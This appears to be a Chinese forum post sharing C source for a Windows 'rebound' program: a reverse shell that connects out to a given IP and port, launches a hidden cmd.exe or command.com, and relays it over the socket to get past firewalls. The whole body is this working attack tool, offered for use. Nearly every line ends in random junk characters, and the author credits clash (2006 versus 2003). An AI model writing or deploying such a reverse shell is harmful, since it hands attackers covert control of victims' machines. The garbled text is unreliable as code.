这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "&Y5Nh
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/* ============================== $@R[$/
Rebound port in Windows NT ,'FdUq )i
By wind,2006/7
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===============================*/ eHt |O~
#include i^O(JC
#include v})-:
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#pragma comment(lib,"wsock32.lib") @C=Dk
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void OutputShell(); S,'y
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SOCKET sClient; =Y-ZI
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; N8-!}\,
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void main(int argc,char **argv) ^kF-mM=
{ }2 X"
WSADATA stWsaData; *pZhwO!D
int nRet; kv)IG$S0
SOCKADDR_IN stSaiClient,stSaiServer; <z2*T \B!8
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if(argc != 3) MU-T>S4
{ HAHLF+k
printf("Useage:\n\rRebound DestIP DestPort\n"); j)vfI>
return; 1~|o@CO
} 8}A+{xVp8
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WSAStartup(MAKEWORD(2,2),&stWsaData); :RqTbE4B
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^Hplrwj}
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stSaiClient.sin_family = AF_INET; b5Sgf'B^
stSaiClient.sin_port = htons(0); I8%2tLVY
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Vw P+tM
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ VD).UdUn
printf("Bind Socket Failed!\n"); \A ?B{*
return; `1Cg)\&[e0
} yM}Wg~:D:
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stSaiServer.sin_family = AF_INET; ]'%Z&1 w
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); iFi6,V*PRt
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /xu#ZZ?8F_
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -*QxZiKD
{ th 9I]g^=t
printf("Connect Error!"); g`690
return; ~dpU DF
} 7w_cKR1;
OutputShell(); l JR
} T`?{Is['(
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void OutputShell() ZtFOIb*
{ (oKrIm
char szBuff[1024]; ;@&mR<5j
SECURITY_ATTRIBUTES stSecurityAttributes; TS~>9h\;
OSVERSIONINFO stOsversionInfo; b_p/ 1W:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yN4K^#
STARTUPINFO stStartupInfo; Uql|32j
char *szShell; U11bQ4ak
PROCESS_INFORMATION stProcessInformation; C@7<0w
unsigned long lBytesRead; (/oHj^>3N`
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {imz1g;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2L!wbeTb;
stSecurityAttributes.lpSecurityDescriptor = 0; SMMsXH
stSecurityAttributes.bInheritHandle = TRUE; UUuB Rtau
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Rb8wq.LqD
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R[l9f8
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s_j ?L
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X:ck
stStartupInfo.wShowWindow = SW_HIDE; 5R?[My
stStartupInfo.hStdInput = hReadPipe; @Ft\~ +}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; YaWZOuxm
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GetVersionEx(&stOsversionInfo); =gYKAr^p5
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switch(stOsversionInfo.dwPlatformId) ";PW#VHC
{ X/8CvY#n
case 1: Bj-80d,
szShell = "command.com"; lO=Nw+'$S
break; l4:5(1
default: v*&WxP^Gm
szShell = "cmd.exe"; VXM5
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break; Uh9p,AV
} bu
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4=T.rVS[
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send(sClient,szMsg,77,0); ^5:xSQ@:
while(1) 2Gw2k8g&
{ WlJ$p$I`
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zFn!>Tqe
if(lBytesRead) 5Q9nJC{'NN
{ Tf|?j=f
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _~=qByD
send(sClient,szBuff,lBytesRead,0); !(-lY(x
} gYtv`O
else lhN2xg5x
{ {Y\W&Edw%
lBytesRead=recv(sClient,szBuff,1024,0); H2p lT
if(lBytesRead<=0) break; nNN~Z'bG
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); V5ySOgzw,
} T=NF5kj-=
} 7jZE(|G-
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return; u@ "nVHgMJ
}